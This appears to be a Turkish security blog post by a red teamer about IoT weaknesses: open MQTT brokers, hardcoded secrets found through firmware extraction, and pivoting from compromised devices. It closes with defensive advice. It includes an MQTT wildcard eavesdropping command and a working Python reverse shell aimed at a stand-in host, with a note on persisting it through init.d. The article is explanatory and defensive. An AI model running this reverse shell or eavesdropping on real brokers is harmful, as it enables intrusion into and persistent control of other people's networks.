Sektörde nereye baksam Shodan üzerinden ekran görüntüsü paylaşıp 'Bakın ne kadar çok açık cihaz var' diye hava atan tipleri görüyorum. Açıkçası, Shodan veya Censys gibi araçları sadece 'açık port bulma makinesi' olarak kullanmak, siber güvenliğin en tembel ve yüzeysel hali. Prod ortamında, kurumsal bir yapıda sadece dışarıdan tarama yaparak IoT güvenliği sağladığını sanmak ise tam anlamıyla delilik. Eğer cihazın içindeki firmware'e dokunmadıysan, seri portundan (UART) veri çekmediysen veya o cihazın kullandığı o meşhur 'hafif' protokollerin (MQTT, CoAP) nasıl sızdırdığını görmediysen, aslında hiçbir şeyi güvene almamışsın demektir.
IoT: 'Security' Kelimesindeki O Olmayan Harf
IoT dünyasında bir söz vardır: 'The S in IoT stands for Security'. Yani IoT'deki 'S' harfi güvenliği temsil eder. Ama bir dakika, IoT kelimesinde 'S' yok, değil mi? İşte tam olarak durum bu. Piyasaya sürülen her akıllı ampul, her endüstriyel sensör veya 'akıllı' kahve makinesi, ağınıza bırakılmış birer truva atı olma potansiyeline sahip.
Bir Red Teamer olarak testCompany laboratuvarlarında bu cihazları incelediğimizde gördüğümüz şey genellikle değişmiyor: 20 yıllık kernel sürümleri, hardcoded (sabit kodlanmış) şifreler ve şifreleme zahmetine bile girilmemiş haberleşme protokolleri. Cihaz üreticileri için 'çalışması', 'güvenli olmasından' her zaman daha önemli.
MQTT: Mahallenin Dedikoducu Teyzesi
IoT cihazlarının büyük bir kısmı birbiriyle haberleşmek için MQTT (Message Queuing Telemetry Transport) kullanır. Publish/Subscribe mantığıyla çalışan bu protokol harikadır, hafiftir, hızlıdır... ve eğer yanlış yapılandırılırsa tam bir felakettir.
Birçok sistem yöneticisi, MQTT broker'larını (sunucularını) dış dünyaya kimlik doğrulamasız açma hatasına düşüyor. Bir saldırganın tek yapması gereken, wildcard (#) karakterini kullanarak tüm 'topic'leri dinlemektir.
Örneğin, zararsızlaştırılmış bir senaryoda saldırganın yapacağı basit bir dinleme komutu şöyledir:
# Zararsızlaştırılmış MQTT abone olma komutu
# 127.0.0.1 yerine hedef broker IP'si gelir
mosquitto_sub -h 127.0.0.1 -p 1883 -t "#" -v
Bu komutu çalıştırdığınızda, o broker üzerinden geçen her şeyi görmeye başlarsınız. Fabrika verileri, sensör okumaları, hatta bazen cihazların konfigürasyon dosyaları... Şifreleme (TLS) yoksa, bu veriler 'clear-text' olarak havada uçuşur. Bir sızma testinde, sadece bu yöntemi kullanarak bir fabrikanın üretim bandındaki verileri manipüle edebilecek seviyeye geldiğimizi hatırlıyorum. Çözüm mü? MQTT ACL (Access Control List) kullanın ve mutlaka TLS sertifikası zorunlu tutun. 'Hafif olsun' diye güvenliği çöpe atmayın.
Firmware Analizi: Kutunun İçindeki Canavar
Cihazın dışındaki o plastik kasa sizi aldatmasın. Asıl macera, o cihazın içindeki yazılımda, yani firmware'de başlıyor. Bir IoT cihazını ele alırken ilk yaptığımız şey, üreticinin web sitesinden firmware dosyasını indirmek (veya cihazın flash belleğinden dump etmek).
binwalk gibi araçlar burada devreye giriyor. Ama binwalk -e yazıp bırakmak yetmez. O dosya sisteminin (genelde SquashFS olur) derinliklerine inmek lazım.
# Firmware içindeki dosya sistemini çıkarma (Simüle edilmiştir)
binwalk -e device_firmware_v1.bin
# Çıkarılan dosya sisteminde hassas kelime taraması
cd _device_firmware_v1.extracted/squashfs-root
grep -rE "password|admin|key|secret|token" .
Burada karşınıza ne çıkar biliyor musunuz? Genelde cihazın üretim aşamasında unutulmuş, tüm cihazlarda aynı olan bir root şifresi. Ya da bir API key. testCompany bünyesinde yaptığımız bir analizde, bir IP kameranın firmware'inde, üreticinin 'destek' için bıraktığı gizli bir SSH anahtarı bulmuştuk. Bu şu demek: Dünyadaki binlerce kamera, tek bir SSH anahtarıyla her yerden erişilebilir durumdaydı.
Lateral Movement: Ampulden Domain Controller'a
Şimdi işi biraz daha 'geek' seviyesine taşıyalım. Bir saldırgan neden sizin akıllı ampulünüzle uğraşsın ki? Cevap basit: Yanal Hareket (Lateral Movement).
Saldırgan, IoT cihazını ele geçirdikten sonra onu ağdaki bir zıplama tahtası (pivot) olarak kullanır. IoT cihazları genellikle ana ağdan izole edilmez. Bu, siber güvenliğin en büyük günahlarından biridir. Saldırgan, cihazın üzerinde bir 'reverse shell' açtıktan sonra iç ağınızı taramaya başlar.
# Mock/Pseudo Reverse Shell örneği (Zararsızlaştırılmış)
import socket, os, subprocess
def connect_back():
ATTACKER_IP = "example.com" # Defanged
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ATTACKER_IP, PORT))
# Cihazın komut satırını saldırgana yönlendir
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
except:
pass
# Bu kod cihazın açılış scriptine (init.d) enjekte edilirse kalıcılık sağlar.
Bu aşamadan sonra saldırgan artık içeridedir. Artık o 'akıllı' cihaz, ağdaki diğer sunuculara saldıran bir saldırı terminaline dönüşmüştür.
Peki, Ne Yapmalı? (Defensive Mindset)
Lafı uzatıp 'şunu yapın bunu yapın' diye klasik öğütler vermeyeceğim. Sahada gerçekten işe yarayan birkaç sert önlemden bahsedeyim:
- VLAN veya Mikro-Segmentasyon: IoT cihazlarını ana ağınızdan (bilgisayarların, sunucuların olduğu ağ) tamamen koparın. Bir ampulün, sizin dosya sunucunuza (File Server) erişmeye neden ihtiyacı olsun? Olmasın.
- Firmware Güncelleme Politikası: Cihazı alıp kutusuna koymakla iş bitmiyor. Üreticinin yayınladığı CVE'leri takip edin. Eğer üretici güncelleme vermeyi kestiyse, o cihazı emekli etme vaktiniz gelmiştir.
- Default Şifreleri Öldürün: İlk kurulumda şifre değiştirmeyen cihazları kapıdan içeri sokmayın. Hatta imkanınız varsa, cihazın web arayüzünü bile dış dünyaya kapatın.
- Trafik Analizi: IoT cihazları genellikle belli başlı adreslerle konuşur (bulut sunucuları gibi). Eğer bir nem sensörü durup dururken bir Rus IP adresine 1 GB veri göndermeye başlarsa, orada bir sorun olduğunu anlamanız lazım. EDR/XDR çözümlerini IoT segmentinde de konuşturun.
IoT güvenliği, 'kur ve unut' mantığının en büyük düşmanıdır. Eğer o cihazın içindeki çipten, üzerinde koşan Linux dağıtımına kadar her şeye hakim değilseniz, ağınızda bir saatli bomba barındırıyorsunuz demektir.
Sonra 'gece 3'te telefonum neden çaldı' diye sormayın. O telefon, büyük ihtimalle sizin 'akıllı' kahve makineniz yüzünden çalmıştır.
